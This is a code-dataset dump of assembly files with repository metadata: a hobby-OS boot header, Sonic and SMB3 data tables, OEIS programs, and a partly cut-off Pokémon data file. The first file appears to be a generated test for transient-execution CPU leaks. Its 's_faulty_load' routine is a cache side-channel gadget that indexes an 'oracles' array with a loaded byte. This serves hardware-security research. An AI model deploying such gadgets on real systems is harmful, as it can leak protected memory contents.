hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3293191816d44a669d01542cafecf9671a96f576 | 7,542 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_488.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_488.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_488.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xfd6d, %rsi
lea addresses_normal_ht+0x10f6d, %rdi
nop
nop
nop
nop
and $52899, %r11
mov $43, %rcx
rep movsq
nop
sub $22078, %r15
lea addresses_normal_ht+0xc56d, %rsi
lea addresses_WT_ht+0x2d65, %rdi
clflush (%rsi)
nop
nop
nop
nop
dec %rbx
mov $102, %rcx
rep movsl
nop
nop
nop
nop
nop
inc %rsi
lea addresses_A_ht+0x1d96d, %r15
nop
sub %rsi, %rsi
movl $0x61626364, (%r15)
xor $56844, %r15
lea addresses_WT_ht+0x1ad2d, %rbx
nop
nop
nop
add $19059, %rbp
mov (%rbx), %r11
add $53360, %r15
lea addresses_WT_ht+0xb96d, %rbp
add %rdi, %rdi
mov $0x6162636465666768, %r11
movq %r11, (%rbp)
sub $33415, %r11
lea addresses_WC_ht+0x436d, %rsi
lea addresses_normal_ht+0xc16d, %rdi
nop
nop
nop
add $18619, %r11
mov $124, %rcx
rep movsq
nop
nop
nop
cmp $25429, %r15
lea addresses_A_ht+0x8822, %rsi
lea addresses_UC_ht+0x15b6d, %rdi
nop
and %rdx, %rdx
mov $107, %rcx
rep movsb
nop
nop
nop
nop
inc %rdx
lea addresses_A_ht+0x1976d, %rsi
lea addresses_normal_ht+0x1756d, %rdi
nop
nop
nop
add $42190, %rdx
mov $65, %rcx
rep movsq
nop
add %rbp, %rbp
lea addresses_A_ht+0x11d79, %rsi
lea addresses_WC_ht+0x1142d, %rdi
nop
nop
nop
cmp %r15, %r15
mov $126, %rcx
rep movsw
nop
nop
nop
nop
xor $64633, %rdx
lea addresses_WT_ht+0x1a56d, %rdx
nop
nop
nop
cmp %rbx, %rbx
mov $0x6162636465666768, %r11
movq %r11, %xmm1
vmovups %ymm1, (%rdx)
nop
nop
xor %r15, %r15
lea addresses_WC_ht+0xd6d, %rsi
nop
nop
nop
nop
nop
cmp %rbp, %rbp
mov $0x6162636465666768, %rbx
movq %rbx, %xmm1
movups %xmm1, (%rsi)
nop
nop
nop
nop
cmp $25957, %rbp
lea addresses_WT_ht+0x1d9ed, %r11
nop
xor $51027, %r15
mov $0x6162636465666768, %rdx
movq %rdx, %xmm5
vmovups %ymm5, (%r11)
nop
nop
nop
nop
nop
dec %rbp
lea addresses_WC_ht+0xe76d, %rbp
nop
nop
nop
nop
nop
sub %rdx, %rdx
mov $0x6162636465666768, %r15
movq %r15, %xmm5
movups %xmm5, (%rbp)
nop
nop
xor %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r9
push %rcx
push %rdx
// Faulty Load
lea addresses_normal+0x1ed6d, %rcx
nop
nop
nop
sub $1552, %r10
vmovups (%rcx), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rdx
lea oracles, %r13
and $0xff, %rdx
shlq $12, %rdx
mov (%r13,%rdx,1), %rdx
pop %rdx
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'dst': {'same': True, 'congruent': 2, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 35.07907 | 2,999 | 0.664015 |
ba238ddde24e578fbf4fc5ff8f4cea61d437f913 | 184 | asm | Assembly | Working Disassembly/Levels/MHZ/Misc Object Data/Map - Act 2 Knuckles Switch.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 7e8a2c5df02271615ff4cae529521e6b1560d6b1 | [
"Apache-2.0"
] | 5 | 2021-07-09T08:17:56.000Z | 2022-02-27T19:57:47.000Z | Working Disassembly/Levels/MHZ/Misc Object Data/Map - Act 2 Knuckles Switch.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 7e8a2c5df02271615ff4cae529521e6b1560d6b1 | [
"Apache-2.0"
] | null | null | null | Working Disassembly/Levels/MHZ/Misc Object Data/Map - Act 2 Knuckles Switch.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 7e8a2c5df02271615ff4cae529521e6b1560d6b1 | [
"Apache-2.0"
] | null | null | null | Map_66B30: dc.w word_66B34-Map_66B30
dc.w word_66B3C-Map_66B30
word_66B34: dc.w 1
dc.b $F4, 6, 0, 0, $FF, $F8
word_66B3C: dc.w 1
dc.b $F4, 6, 0, 6, $FF, $F8
| 26.285714 | 37 | 0.570652 |
92e252371b494eca768e4884fe612470e2a834b0 | 812 | asm | Assembly | oeis/228/A228750.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/228/A228750.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/228/A228750.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A228750: Number of n X 4 binary arrays with top left element equal to 1 and no two ones adjacent horizontally or antidiagonally.
; Submitted by Jon Maiga
; 3,20,126,780,4808,29608,182288,1122240,6908896,42533440,261849728,1612032128,9924194048,61096565760,376130326016,2315580595200,14255467112448,87761291061248,540287045521408,3326182739886080,20477062537076736,126063455600066560,776087625315155968,4777847785468755968,29413984602368442368,181082053894583091200,1114800007070118445056,6863071348235424235520,42251298916620304908288,260112735182417822220288,1601338579852840615804928,9858361012300192279429120,60691276080897122134654976
add $0,1
mul $0,2
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
mul $1,2
add $1,1
add $4,1
add $4,$2
mov $2,$4
lpe
mov $0,$1
div $0,2
add $0,1
| 36.909091 | 484 | 0.80665 |
ee69080495f27a009d8db2cad12043dbea2e8d1d | 102 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/sqr.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/sqr.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/sqr.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_am9511
PUBLIC _sqr
EXTERN cam32_sdcc_sqr
defc _sqr = cam32_sdcc_sqr
| 14.571429 | 30 | 0.715686 |
40024073ab228755871df162c3ebb59d8689a250 | 836 | asm | Assembly | PRG/levels/Under/PipeJcBR.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | PRG/levels/Under/PipeJcBR.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | PRG/levels/Under/PipeJcBR.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | ; Original address was $AE94
; Pipe junction B2
.word $0000 ; Alternate level layout
.word $0000 ; Alternate object layout
.byte LEVEL1_SIZE_01 | LEVEL1_YSTART_0F0
.byte LEVEL2_BGPAL_04 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_D8
.byte LEVEL3_TILESET_03 | LEVEL3_VSCROLL_LOCKED
.byte LEVEL4_BGBANK_INDEX(3) | LEVEL4_INITACT_PIPE_B
.byte LEVEL5_BGM_UNDERGROUND | LEVEL5_TIME_300
.byte $40, $00, $0E, $6F, $00, $E4, $94, $00, $56, $00, $94, $01, $86, $01, $14, $02
.byte $04, $75, $02, $E0, $96, $03, $84, $01, $16, $04, $04, $77, $04, $E0, $98, $05
.byte $82, $05, $96, $0B, $84, $01, $16, $0B, $01, $17, $0B, $E0, $94, $0D, $86, $01
.byte $14, $0D, $01, $15, $0D, $E0, $94, $0F, $56, $00, $0F, $0F, $E4, $8F, $03, $B1
.byte $09, $0F, $03, $E0, $10, $03, $07, $6F, $0C, $E0, $10, $0C, $0A, $2F, $01, $C1
.byte $2F, $0D, $C1, $FF
| 49.176471 | 85 | 0.59689 |
dfc4e6af590f6ae2ebd9b79c6c71f29896cbf4a2 | 1,599 | asm | Assembly | programs/oeis/107/A107916.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/107/A107916.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/107/A107916.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A107916: a(n) = binomial(n+3,2)*binomial(n+4,3)*binomial(n+5,5)/12.
; 1,30,350,2450,12348,49392,166320,490050,1297725,3149146,7105098,15071420,30321200,58262400,107535744,191548044,330569505,554550150,906840550,1449035742,2267198780,3479762000,5247450000,7785618750,11379460365,16402583106,23339541330,32812960600,45615979200,62750809088,85474307072,115351540920,154318435425,204754690350,269568275886,352292931978,457200225820,589427857200,755126044400,961623974234,1217618458749,1533387108330,1921028506650,2394732057300,2971080365232,3669387218560,4512074448000,5525091162500,6738379090625,8186387998230,9908645404086,11950385076630,14363239067100,17205998317200,20545447173328,24457277444502,29027087957645,34351475892050,40539226514850,47712608291376,56008780708608,65581322526720,76601888563200,89262003516400,103775001750849,120378122395454,139334769548030,160936947835650,185507884050300,213404846063472,245022170721840,280794512939250,321200328728125,366765605456250,418067853172970,475740371422316,540476806549680,613036015113600,694247249635200,785015683555068,886328292921057,999260113000870,1124980888700550,1264762138374350,1419984651333116,1592146440097488,1782871169199120,1993917083107950,2227186456656525,2484735592143714,2768785388130034,3081732505785480,3426161159518400,3804855559500800,4220813034611712,4677257865246120,5177655856382625,5725729682268750,6325475035068750,6981177610825210,7697430967112796,8479155287810480
mov $3,$0
cal $0,47819 ; a(n) = Product_{i=1..n} ((i+3)*(i+4)*(i+5))/(i*(i+1)*(i+2)).
mov $1,$0
add $2,$3
add $2,2
mul $1,$2
sub $1,2
div $1,2
add $1,1
| 123 | 1,375 | 0.868668 |
9be1dfbf97907c285e882894ffd93daa2c5efd1a | 2,274 | asm | Assembly | day_04/header.asm | macrat/30days-os | 58514889afd889dbd9d3f95d35592d2f898e4aaa | [
"MIT"
] | 1 | 2020-01-10T03:04:01.000Z | 2020-01-10T03:04:01.000Z | day_04/header.asm | macrat/30days-os | 58514889afd889dbd9d3f95d35592d2f898e4aaa | [
"MIT"
] | null | null | null | day_04/header.asm | macrat/30days-os | 58514889afd889dbd9d3f95d35592d2f898e4aaa | [
"MIT"
] | null | null | null | ; header of hello-os
BOTPAK EQU 0x00280000
DSKCAC EQU 0x00100000
DSKCAC0 EQU 0x00008000
CYLS EQU 0x0ff0
LEDS EQU 0x0ff1
VMODE EQU 0x0ff2
SCRNX EQU 0x0ff4
SCRNY EQU 0x0ff6
VRAM EQU 0x0ff8
ORG 0xc200
; graphics setting
MOV AL, 0x13
MOV AH, 0x00
INT 0x10
MOV BYTE [VMODE], 8
MOV WORD [SCRNX], 320
MOV WORD [SCRNY], 200
MOV DWORD [VRAM], 0x000a0000
; ger keyboard state
MOV AH, 0x02
INT 0x16
MOV [LEDS], AL
; suspend PIC interrupt
MOV AL, 0xff
OUT 0x21, AL
NOP
OUT 0xa1, AL
CLI
; set A20GATE for using memory over 1MB
CALL waitkbdout
MOV AL, 0xd1
OUT 0x64, AL
CALL waitkbdout
MOV AL, 0xdf
OUT 0x60, AL
CALL waitkbdout
; enable protect mode
LGDT [GDTR0]
MOV EAX, CR0
AND EAX, 0x7fffffff
OR EAX, 0x00000001
MOV CR0, EAX
JMP SHORT pipelineflush
pipelineflush:
MOV AX, 1 * 8
MOV DS, AX
MOV ES, AX
MOV FS, AX
MOV GS, AX
MOV SS, AX
; transport main program
MOV ESI, main
MOV EDI, BOTPAK
MOV ECX, 512 * 1024 / 4
CALL memcpy
; transport disk data
MOV ESI, 0x7c00
MOV EDI, DSKCAC
MOV ECX, 512 / 4
CALL memcpy
MOV ESI, DSKCAC0 + 512
MOV EDI, DSKCAC + 512
MOV ECX, 0
MOV CL, BYTE [CYLS]
IMUL ECX, 512 * 18 * 2 / 4
SUB ECX, 512 / 4
CALL memcpy
; run main
MOV EBX, BOTPAK
MOV ECX, [EBX + 16]
ADD ECX, 3
SHR ECX, 2
JZ skip
MOV ESI, [EBX + 20]
ADD ESI, EBX
MOV EDI, [EBX + 12]
CALL memcpy
skip:
MOV ESP, [EBX + 12]
JMP DWORD 2 * 8:0x0000001b
waitkbdout:
IN AL, 0x64
AND AL, 0x02
JNZ waitkbdout
RET
memcpy:
MOV EAX, [ESI]
ADD ESI, 4
MOV [EDI], EAX
ADD EDI, 4
SUB ECX, 1
JNZ memcpy
RET
ALIGNB 16, DB 0
GDT0:
TIMES 8 DB 0
DW 0xffff, 0x0000, 0x9200, 0x00cf
DW 0xffff, 0x0000, 0x9a28, 0x0047
DW 0
GDTR0:
DW 8 * 3 - 1
DD GDT0
ALIGNB 16, DB 0
main:
| 18.192 | 42 | 0.514072 |
31944a97112f0c614d715498654ec20b3878f5fc | 883 | asm | Assembly | programs/oeis/308/A308604.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/308/A308604.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/308/A308604.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A308604: Number of (not necessarily maximal) cliques in the n X n fiveleaper graph.
; 2,5,10,17,34,73,126,193,274,369,478,601,738,889,1054,1233,1426,1633,1854,2089,2338,2601,2878,3169,3474,3793,4126,4473,4834,5209,5598,6001,6418,6849,7294,7753,8226,8713,9214,9729,10258,10801,11358,11929,12514,13113,13726,14353,14994,15649,16318,17001,17698,18409,19134,19873,20626,21393,22174,22969,23778,24601,25438,26289,27154,28033,28926,29833,30754,31689,32638,33601,34578,35569,36574,37593,38626,39673,40734,41809,42898,44001,45118,46249,47394,48553,49726,50913,52114,53329,54558,55801,57058,58329,59614,60913,62226,63553,64894,66249
mov $2,$0
mov $3,$0
sub $3,2
mov $6,$0
lpb $0
mov $0,3
add $2,$3
mul $3,3
sub $3,3
mul $2,$3
div $2,2
add $2,2
trn $5,1
add $5,3
lpe
add $2,1
mul $2,2
mul $5,2
add $5,2
sub $2,$5
mov $1,$2
add $1,2
mov $4,$6
mul $4,$6
add $1,$4
mov $0,$1
| 29.433333 | 539 | 0.714609 |
06c9d593f960eaf0ba4c97793ae19d9212983808 | 4,619 | asm | Assembly | src/ppu.asm | Xkeeper0/tcrf-birthday | 122945985d98b31984ac9299c8086603dbf416ff | [
"MIT"
] | 10 | 2019-10-27T23:16:43.000Z | 2019-11-14T13:53:55.000Z | src/ppu.asm | Xkeeper0/tcrf-birthday | 122945985d98b31984ac9299c8086603dbf416ff | [
"MIT"
] | null | null | null | src/ppu.asm | Xkeeper0/tcrf-birthday | 122945985d98b31984ac9299c8086603dbf416ff | [
"MIT"
] | null | null | null | ;
; PPU control functions and helpers and whatnot
;
; Turn PPU rendering on or off, in the event we're
; doing some stupid stuff
EnablePPURendering:
LDA #PPUMask_ShowLeft8Pixels_BG | PPUMask_ShowLeft8Pixels_SPR | PPUMask_ShowBackground | PPUMask_ShowSprites
BNE +
DisablePPURendering:
LDA #PPUMask_None
+ STA PPUMaskMirror
RTS
; Keep the same PPU reading address, but read the buffer in a different way
; This one uses four bytes (hi, lo, len, byte), and copies the same byte
; repeatedly instead of reading. it also only does one 'update' ever
UpdatePPUFaster:
LDY #$00
LDA (PPUBufferLo), Y ; Get high address...
LDX PPUSTATUS ; Clear address latch
STA PPUADDR ; ... store high address
INY
LDA (PPUBufferLo), Y ; Get low address...
STA PPUADDR ; .. store it
INY
LDA (PPUBufferLo), Y ; Get length
TAX ; X = bytes to write
INY
LDA (PPUBufferLo), Y ; Load the byte to write here
- STA PPUDATA ; ...store into PPU
DEX ; Decrement bytes left
BNE - ; If we're not done, continue
LDA #$00 ; Mark the buffer as being done with
STA PPUBufferReady
RTS ; Done!
; PPUBufferLo / Hi: Address of PPU data to read from
UpdatePPUFromBuffer:
CMP #$02
BEQ UpdatePPUFaster
LDY #$00
-- LDA (PPUBufferLo), Y ; Get high address...
BEQ + ; No buffer now, just leave
LDX PPUSTATUS ; Clear address latch
STA PPUADDR ; ... store high address
INY
LDA (PPUBufferLo), Y ; Get low address...
STA PPUADDR ; .. store it
INY
LDA (PPUBufferLo), Y ; Get length
TAX ; X = bytes to copy
- INY ; Start copying...
LDA (PPUBufferLo), Y ; Load data...
STA PPUDATA ; ...store into PPU
DEX ; Decrement bytes left
BNE - ; If we're not done, continue
INY
JMP -- ; Otherwise, we're done; check for more data
+ LDA #$00 ; Mark the buffer as being done with
STA PPUBufferReady
RTS ; Done!
;
; Clear the nametables of all data for that
; fresh new PPU scent
; You should have already turned off NMIs and PPU rendering before getting here
; If you don't, you will experience a lot of very fun and interesting problems
;
ClearNametables:
LDA PPUSTATUS ; Reset PPU address latch
LDA #$20 ; PPU address high byte
STA PPUADDR
LDA #$00 ; PPU address low byte
STA PPUADDR
; Write 00 to all nametables
LDA #$00 ; Tile index to write
LDY #$0F ; Bytes to write x #$100
LDX #$00 ; Counter
- STA PPUDATA ; Write tile
DEX
BNE - ; Loop #$100 times (256 tiles)
DEY
BNE - ; Loop 8 x #$100 times
; Clear attributes
LDA PPUSTATUS ; Reset address latch again
LDA #$3F ; Palette RAM (3F00-3F1F)
STA PPUADDR
LDA #$00
STA PPUADDR
LDA #$0F ; Black color
LDX #$20 ; 4 x 4 x 2 palettes
- STA PPUDATA
DEX
BNE -
; PPU memory should be all nice and clean now
RTS
;
; Shove all sprites offscreen so they aren't visible
;
ClearSprites:
LDA #$F8 ; New Y position for sprites (offscreen)
LDY #$00 ; Sprite hiding index
- STA SpriteY, Y ; Write to our sprite Y positions
DEY
DEY
DEY
DEY
BNE - ; Loop until we set all sprites offscreen
RTS
; Clears one row of tiles in yon nametable
; In: A=Row number, X = tile to copy?
ClearOneTileRow:
; Row value as A; 80 = second nametable, other values = row num
PHA ; Save A for later
LDA #$02 ; Hi PPU address (pre shift)
STA TempAddrHi
LDA #$00
STA TempAddrLo
; Set high address by shifting off top bit of row number
PLA ; Restore A
ASL ; Shift C < A < 0
ROL TempAddrHi ; Shift x < M < C
; Get address for row
ASL ; Shift left 4 times
ASL
ROL TempAddrHi ; Shift x < M < C
ASL
ROL TempAddrHi ; Shift x < M < C
ASL
ROL TempAddrHi ; Shift x < M < C
STA TempAddrLo ; Now has PPU base address
; Save these to our little four-byte buffer for PPU stuff
LDA TempAddrHi
STA ClearRowPPUHi
LDA TempAddrLo
STA ClearRowPPULo
STX ClearRowPPUChar
LDA #$20
STA ClearRowPPULen
LDA #<ClearRowPPUHi
STA PPUBufferLo
LDA #>ClearRowPPUHi
STA PPUBufferHi
LDA #$02
STA PPUBufferReady
; Let the thing do the thing
RTS
;
; Put all sprites behind the background
; for easier readability of text
;
PutSpritesBehindBackground:
LDY #$00 ; Sprite index
- DEY
DEY
LDA SpriteDMAArea, Y
ORA #SpriteAttrib_Priority
STA SpriteDMAArea, Y
DEY
DEY
BNE - ; Loop until we set all priorities
RTS
;
; Set the default PPU stuff we'll be using here (but leave NMI off)
;
SetUpPPU:
LDA #PPUCtrl_Base2000 | PPUCtrl_WriteHorizontal | PPUCtrl_Sprite0000 | PPUCtrl_Background1000 | PPUCtrl_SpriteSize8x8 | PPUCtrl_NMIDisabled
STA PPUCTRL
STA PPUCtrlMirror
RTS
| 23.446701 | 140 | 0.684347 |
4cc22bdf3e01a10ae1a207dfbb03bc862a213a63 | 343 | asm | Assembly | data/wildPokemon/mansion3.asm | etdv-thevoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | 1 | 2022-01-09T05:28:52.000Z | 2022-01-09T05:28:52.000Z | data/wildPokemon/mansion3.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
